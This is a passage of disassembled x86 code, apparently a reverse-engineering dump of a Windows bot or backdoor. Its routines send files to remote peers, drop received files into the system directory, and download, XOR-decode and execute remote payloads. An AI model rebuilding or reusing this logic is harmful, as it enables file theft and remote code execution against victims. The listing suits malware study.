push offset asc_437F50 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_415F5B
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+var_118]
push eax ; Str
push [ebp+var_11C] ; int
call sub_409869
add esp, 14h
loc_415F5B: ; CODE XREF: sub_415E4B+EEj
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_18]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_415E4B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F7A proc near ; CODE XREF: sub_416000+33p
; sub_416563+BCp
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CBA54 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_415FF6
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_4]
call dword_4CB9D4 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CBA14 ; inet_addr
cmp eax, esi
jnz short loc_415FDB
push [ebp+arg_0]
call dword_4CBA58 ; gethostbyname
test eax, eax
jz short loc_415FF6
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_415FDB: ; CODE XREF: sub_415F7A+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+Dst]
push 10h
push eax
push edi
call dword_4CB97C ; connect
cmp eax, esi
jnz short loc_415FFA
push edi
call dword_4CBA6C ; closesocket
loc_415FF6: ; CODE XREF: sub_415F7A+1Bj
; sub_415F7A+58j
mov eax, esi
jmp short loc_415FFC
; ---------------------------------------------------------------------------
loc_415FFA: ; CODE XREF: sub_415F7A+73j
mov eax, edi
loc_415FFC: ; CODE XREF: sub_415F7A+7Ej
pop edi
pop esi
leave
retn
sub_415F7A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416000 proc near ; DATA XREF: sub_401ACD+A02o
Dst = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
Str = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push 1
pop esi
push [ebp+var_14]
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_415F7A
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_416093
lea eax, [ebp+Dst]
push offset asc_437FEC ; "-"
push eax ; Dest
call _sprintf
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_416076
push edi ; int
lea eax, [ebp+Dst]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push ebx ; int
call sub_409869
add esp, 14h
loc_416076: ; CODE XREF: sub_416000+59j
lea eax, [ebp+Dst]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_416093: ; CODE XREF: sub_416000+3Fj
push offset byte_43DB88
push ebx
call sub_41A1B1
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4160FE
lea eax, [ebp+Dst]
push offset asc_437FBC ; "-"
push eax ; Dest
call _sprintf
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_4160DA
push edi ; int
lea eax, [ebp+Dst]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push ebx ; int
call sub_409869
add esp, 14h
loc_4160DA: ; CODE XREF: sub_416000+BDj
lea eax, [ebp+Dst]
push eax
call sub_415D38
pop ecx
push ebx
call dword_4CBA6C ; closesocket
push [ebp+var_10]
call sub_40B6D6
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_4160FE: ; CODE XREF: sub_416000+A3j
push 64h
call ds:dword_427080 ; Sleep
xor edi, edi
mov esi, 1000h
loc_41610D: ; CODE XREF: sub_416000+168j
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push edi
push esi
push eax
push ebx
call dword_4CB9EC ; recv
test eax, eax
jle short loc_41616A
lea eax, [ebp+Dst]
push offset asc_42A080 ; "\n"
push eax ; Dest
call _strcat
lea eax, [ebp+Dst]
push eax ; Str
call sub_419F9D
add esp, 0Ch
test eax, eax
jz short loc_41616A
push 64h
call ds:dword_427080 ; Sleep
push 0Ah
call sub_40B602
test eax, eax
pop ecx
jnz short loc_41610D
loc_41616A: ; CODE XREF: sub_416000+130j
; sub_416000+154j
lea eax, [ebp+Dst]
push offset asc_437F88 ; "-"
push eax ; Dest
call _sprintf
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_41619D
push edi ; int
lea eax, [ebp+Dst]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push ebx ; int
call sub_409869
add esp, 14h
loc_41619D: ; CODE XREF: sub_416000+180j
lea eax, [ebp+Dst]
push eax
call sub_415D38
pop ecx
push ebx
call dword_4CBA6C ; closesocket
push [ebp+var_10]
call sub_40B6D6
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
sub_416000 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4161C1 proc near ; DATA XREF: sub_401ACD+7696o
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
Dest = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
Str = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
Dst = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp+var_10], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call dword_4CBA54 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_41620F
push offset unk_4380EC
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_41620F: ; CODE XREF: sub_4161C1+42j
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push esi
call dword_4CB9D4 ; htons
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+Dst]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call dword_4CBA00 ; bind
test eax, eax
jz short loc_41624D
push offset unk_4380C8
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_41624D: ; CODE XREF: sub_4161C1+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+Dst]
push eax
push edi
call dword_4CB978 ; getsockname
push [ebp+var_2E]
call dword_4CB904 ; htons
mov [ebp+var_4], eax
lea eax, [ebp+Str]
push eax ; Str
mov [ebp+arg_0], esi
call _strlen
pop ecx
loc_41627F: ; CODE XREF: sub_4161C1+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+Str]
cmp al, 20h
jnz short loc_416292
push 5Fh
pop eax
jmp short loc_416295
; ---------------------------------------------------------------------------
loc_416292: ; CODE XREF: sub_4161C1+CAj
movsx eax, al
loc_416295: ; CODE XREF: sub_4161C1+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+Str]
inc ecx
push eax ; Str
mov [ebp+arg_0], ecx
call _strlen
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_41627F
push ebx
push edi
call dword_4CB9FC ; listen
test eax, eax
jz short loc_4162C8
push offset asc_437FEC ; "-"
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_4162C8: ; CODE XREF: sub_4161C1+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+Str]
push 80000000h
push eax
call ds:dword_4270F8 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_4162F2
push offset unk_4380A8
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_4162F2: ; CODE XREF: sub_4161C1+125j
push esi
push eax
call ds:dword_427114 ; GetFileSize
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40AA06
pop ecx
push eax
call dword_4CBA14 ; inet_addr
push eax
call dword_4CB9D0 ; htonl
push eax
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dest]
push offset dword_438090 ; Format
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
lea eax, [ebp+var_DC]
push eax ; Str
push [ebp+var_1FC] ; int
call sub_409869
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call dword_4CB9BC ; select
test eax, eax
jg short loc_4163A2
push esi ; int
lea eax, [ebp+var_DC]
push [ebp+var_54] ; int
push offset dword_438078 ; int
push eax ; Str
push [ebp+var_1FC] ; int
call sub_409869
jmp loc_4164C6
; ---------------------------------------------------------------------------
loc_4163A2: ; CODE XREF: sub_4161C1+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call dword_4CBA68 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_4163DB
push offset asc_438054 ; "-"
loc_4163C8: ; CODE XREF: sub_4161C1+49j
; sub_4161C1+87j ...
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_4164C9
; ---------------------------------------------------------------------------
loc_4163DB: ; CODE XREF: sub_4161C1+200j
push edi
call dword_4CBA6C ; closesocket
cmp [ebp+arg_0], esi
jz loc_41648D
mov edi, 400h
loc_4163F0: ; CODE XREF: sub_4161C1+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_4163FD
mov [ebp+var_4], eax
loc_4163FD: ; CODE XREF: sub_4161C1+237j
push edi ; Size
lea eax, [ebp+var_A04]
push esi ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call ds:dword_427128 ; SetFilePointer
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call ds:dword_4270EC ; ReadFile
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call dword_4CBA24 ; send
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call dword_4CB9EC ; recv
cmp eax, ebx
jl loc_416522
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_416522
sub [ebp+arg_0], eax
jnz loc_4163F0
mov edi, [ebp+var_18]
loc_41648D: ; CODE XREF: sub_4161C1+224j
push [ebp+var_8]
call ds:dword_427070 ; CloseHandle
push [ebp+var_C]
push [ebp+var_10]
call sub_416CC9
pop ecx
pop ecx
push eax
push [ebp+var_44]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dest]
push offset asc_438028 ; "-"
push eax ; Dest
call _sprintf
loc_4164C6: ; CODE XREF: sub_4161C1+1DCj
add esp, 14h
loc_4164C9: ; CODE XREF: sub_4161C1+215j
cmp [ebp+var_50], esi
jnz short loc_4164EE
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_54] ; int
push eax ; int
lea eax, [ebp+var_DC]
push eax ; Str
push [ebp+var_1FC] ; int
call sub_409869
add esp, 14h
loc_4164EE: ; CODE XREF: sub_4161C1+30Bj
lea eax, [ebp+Dest]
push eax
call sub_415D38
cmp edi, esi
pop ecx
jbe short loc_416506
push edi
call dword_4CBA6C ; closesocket
loc_416506: ; CODE XREF: sub_4161C1+33Cj
push [ebp+var_1F8]
call dword_4CBA6C ; closesocket
push [ebp+var_58]
call sub_40B6D6
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_416522: ; CODE XREF: sub_4161C1+2AFj
; sub_4161C1+2BAj
push esi ; int
mov esi, offset asc_438010 ; "-"
push [ebp+var_54] ; int
lea eax, [ebp+var_DC]
push esi ; int
push eax ; Str
push [ebp+var_1FC] ; int
call sub_409869
push esi
call sub_415D38
add esp, 18h
push [ebp+var_1F8]
call dword_4CBA6C ; closesocket
push [ebp+var_58]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
sub_4161C1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416563 proc near ; DATA XREF: sub_401ACD+798o
Dst = byte ptr -14C4h
var_4C4 = dword ptr -4C4h
Filename = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
Str = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
File = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp+var_8], ebx
mov [eax+1B0h], esi
lea eax, [ebp+Filename]
push 104h
push eax
call ds:dword_42707C ; GetSystemDirectoryA
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+Filename]
push offset aSS ; "%s%s"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+Filename]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call ds:dword_4270F8 ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_4165ED
push offset unk_43818C
jmp short loc_416633
; ---------------------------------------------------------------------------
loc_4165ED: ; CODE XREF: sub_416563+81j
push eax
call ds:dword_427070 ; CloseHandle
lea eax, [ebp+Filename]
push offset aAB ; "a+b"
push eax ; Filename
call _fopen
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+File], eax
jnz short loc_416615
push offset unk_43815C
jmp short loc_416633
; ---------------------------------------------------------------------------
loc_416615: ; CODE XREF: sub_416563+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_415F7A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_416646
push offset asc_43813C ; "-"
loc_416633: ; CODE XREF: sub_416563+88j
; sub_416563+B0j
lea eax, [ebp+var_4C4]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_416742
; ---------------------------------------------------------------------------
loc_416646: ; CODE XREF: sub_416563+C9j
mov esi, 1000h
loc_41664B: ; CODE XREF: sub_416563+14Ej
push esi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CB9EC ; recv
mov edi, eax
cmp edi, ebx
jz loc_416712
cmp edi, 0FFFFFFFFh
jz short loc_4166B3
push [ebp+File] ; File
lea eax, [ebp+Dst]
push edi ; Count
push 1 ; Size
push eax ; Str
call _fwrite
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call dword_4CB9D0 ; htonl
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
jmp short loc_41664B
; ---------------------------------------------------------------------------
loc_4166B3: ; CODE XREF: sub_416563+118j
lea eax, [ebp+var_4C4]
push offset asc_438010 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+var_4C4]
push [ebp+var_18] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1C0] ; int
call sub_409869
lea eax, [ebp+var_4C4]
push eax
call sub_415D38
push [ebp+File] ; File
call _fclose
add esp, 24h
push [ebp+arg_0]
call dword_4CBA6C ; closesocket
push [ebp+var_1C]
call sub_40B6D6
pop ecx
push 1
call ds:dword_4270D4 ; ExitThread
loc_416712: ; CODE XREF: sub_416563+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_4C4]
push offset asc_438110 ; "-"
push eax ; Dest
call _sprintf
add esp, 14h
loc_416742: ; CODE XREF: sub_416563+DEj
cmp [ebp+var_14], ebx
jnz short loc_416767
push ebx ; int
lea eax, [ebp+var_4C4]
push [ebp+var_18] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1C0] ; int
call sub_409869
add esp, 14h
loc_416767: ; CODE XREF: sub_416563+1E2j
lea eax, [ebp+var_4C4]
push eax
call sub_415D38
cmp [ebp+File], ebx
pop ecx
jz short loc_416782
push [ebp+File] ; File
call _fclose
pop ecx
loc_416782: ; CODE XREF: sub_416563+214j
cmp [ebp+arg_0], ebx
jbe short loc_416790
push [ebp+arg_0]
call dword_4CBA6C ; closesocket
loc_416790: ; CODE XREF: sub_416563+222j
push [ebp+var_1C]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
sub_416563 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4167A0 proc near ; DATA XREF: sub_401ACD+619Bo
; sub_401ACD+69D9o
var_590 = qword ptr -590h
var_584 = qword ptr -584h
Dst = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
Str = byte ptr -2C8h
var_248 = byte ptr -248h
Filename = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_4CB984
call dword_4CB8D8 ; InternetOpenUrlA
cmp eax, esi
mov [ebp+var_18], eax
jz loc_416C2C
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+Filename]
push 40000000h
push eax
call ds:dword_4270F8 ; CreateFileA
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_416867
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+Dst]
push offset asc_438358 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_41684A
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409869
add esp, 14h
loc_41684A: ; CODE XREF: sub_4167A0+88j
lea eax, [ebp+Dst]
push eax
call sub_415D38
push [ebp+var_48]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_416867: ; CODE XREF: sub_4167A0+68j
xor edi, edi
call ds:dword_4270B0 ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx ; Size
call _malloc
pop ecx
mov [ebp+var_1C], eax
loc_416881: ; CODE XREF: sub_4167A0+1B4j
push 200h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+Dst]
push 200h
push eax
push [ebp+var_18]
call dword_4CB8E0 ; InternetReadFile
cmp [ebp+var_34], esi
jz short loc_4168C5
push [ebp+arg_0]
lea eax, [ebp+Dst]
push eax
call sub_416C92
pop ecx
pop ecx
loc_4168C5: ; CODE XREF: sub_4167A0+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+Dst]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call ds:dword_4270F0 ; WriteFile
cmp edi, ebx
jnb short loc_416903
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_4168ED
mov eax, [ebp+arg_0]
loc_4168ED: ; CODE XREF: sub_4167A0+148j
push eax ; Size
lea eax, [ebp+Dst]
push eax ; Src
mov eax, [ebp+var_1C]
add eax, edi
push eax ; Dst
call _memcpy
add esp, 0Ch
loc_416903: ; CODE XREF: sub_4167A0+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_416910
cmp edi, [ebp+var_3C]
ja short loc_41695A
loc_416910: ; CODE XREF: sub_4167A0+169j
cmp [ebp+var_44], 1
mov eax, edi
jz short loc_41692A
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_438330
jmp short loc_41693A
; ---------------------------------------------------------------------------
loc_41692A: ; CODE XREF: sub_4167A0+176j
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset asc_438308 ; "-"
loc_41693A: ; CODE XREF: sub_4167A0+188j
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_43E710
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_416881
loc_41695A: ; CODE XREF: sub_4167A0+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_4169AF
cmp edi, [ebp+var_3C]
jz short loc_4169AF
push [ebp+var_3C]
lea eax, [ebp+Dst]
mov [ebp+var_14], esi
push edi
push offset asc_4382DC ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409869
lea eax, [ebp+Dst]
push eax
call sub_415D38
add esp, 28h
loc_4169AF: ; CODE XREF: sub_4167A0+1C4j
; sub_4167A0+1C9j
call ds:dword_4270B0 ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call ds:dword_427070 ; CloseHandle
push [ebp+var_1C]
call sub_41BA91
cmp [ebp+var_38], esi
pop ecx
jz short loc_416A39
lea eax, [ebp+Filename]
push eax ; Filename
call sub_4010AB
cmp eax, [ebp+var_38]
pop ecx
jz short loc_416A39
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+Dst]
push offset asc_4382B4 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409869
lea eax, [ebp+Dst]
push eax
call sub_415D38
add esp, 28h
loc_416A39: ; CODE XREF: sub_4167A0+241j
; sub_4167A0+253j
cmp [ebp+var_14], esi
jz loc_416C79
cmp [ebp+var_44], 1
jz loc_416B34
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul ds:dbl_427690
lea eax, [ebp+Filename]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+Dst]
fmul ds:dbl_427690
fstp [esp+590h+var_590]
push offset asc_43827C ; "-"
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_416AB4
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409869
add esp, 14h
loc_416AB4: ; CODE XREF: sub_4167A0+2F2j
lea eax, [ebp+Dst]
push eax
call sub_415D38
cmp [ebp+var_40], 1
pop ecx
jnz loc_416C79
push 5
push esi
lea eax, [ebp+Filename]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4CB940
cmp [ebp+var_30], esi
jnz loc_416C79
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+Dst]
push offset asc_438260 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409869
lea eax, [ebp+Dst]
push eax
call sub_415D38
add esp, 24h
jmp loc_416C79
; ---------------------------------------------------------------------------
loc_416B34: ; CODE XREF: sub_4167A0+2A6j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul ds:dbl_427690
lea eax, [ebp+Filename]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+Dst]
fmul ds:dbl_427690
fstp [esp+590h+var_590]
push offset asc_43821C ; "-"
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_416B9C
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409869
add esp, 14h
loc_416B9C: ; CODE XREF: sub_4167A0+3DAj
lea eax, [ebp+Dst]
push eax
call sub_415D38
push 10h ; Size
lea eax, [ebp+var_10]
push esi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_310]
pop edi
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
add esp, 1Ch
mov [ebp+var_310], edi
lea eax, [ebp+var_10]
mov [ebp+var_304], offset byte_43DB88
push 1
mov [ebp+var_2E0], si
pop edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+Filename]
push esi
push eax
push esi
mov [ebp+var_2E4], edi
call ds:dword_427074 ; CreateProcessA
cmp eax, edi
jnz short loc_416C1E
call dword_4CB92C ; WSACleanup
call sub_4188A6
push esi
call ds:dword_42706C ; ExitProcess
loc_416C1E: ; CODE XREF: sub_4167A0+46Aj
lea eax, [ebp+Filename]
push eax
push offset unk_4381E8
jmp short loc_416C38
; ---------------------------------------------------------------------------
loc_416C2C: ; CODE XREF: sub_4167A0+45j
lea eax, [ebp+var_248]
push eax
push offset asc_4381BC ; "-"
loc_416C38: ; CODE XREF: sub_4167A0+48Aj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_416C6C
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409869
add esp, 14h
loc_416C6C: ; CODE XREF: sub_4167A0+4AAj
lea eax, [ebp+Dst]
push eax
call sub_415D38
pop ecx
loc_416C79: ; CODE XREF: sub_4167A0+29Cj
; sub_4167A0+325j ...
push [ebp+var_18]
call dword_4CBA08 ; InternetCloseHandle
push [ebp+var_48]
call sub_40B6D6
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
sub_4167A0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_416C92 proc near ; CODE XREF: sub_4167A0+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416CAE
loc_416C9E: ; CODE XREF: sub_416C92+1Aj
mov dl, byte_429094
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_416C9E
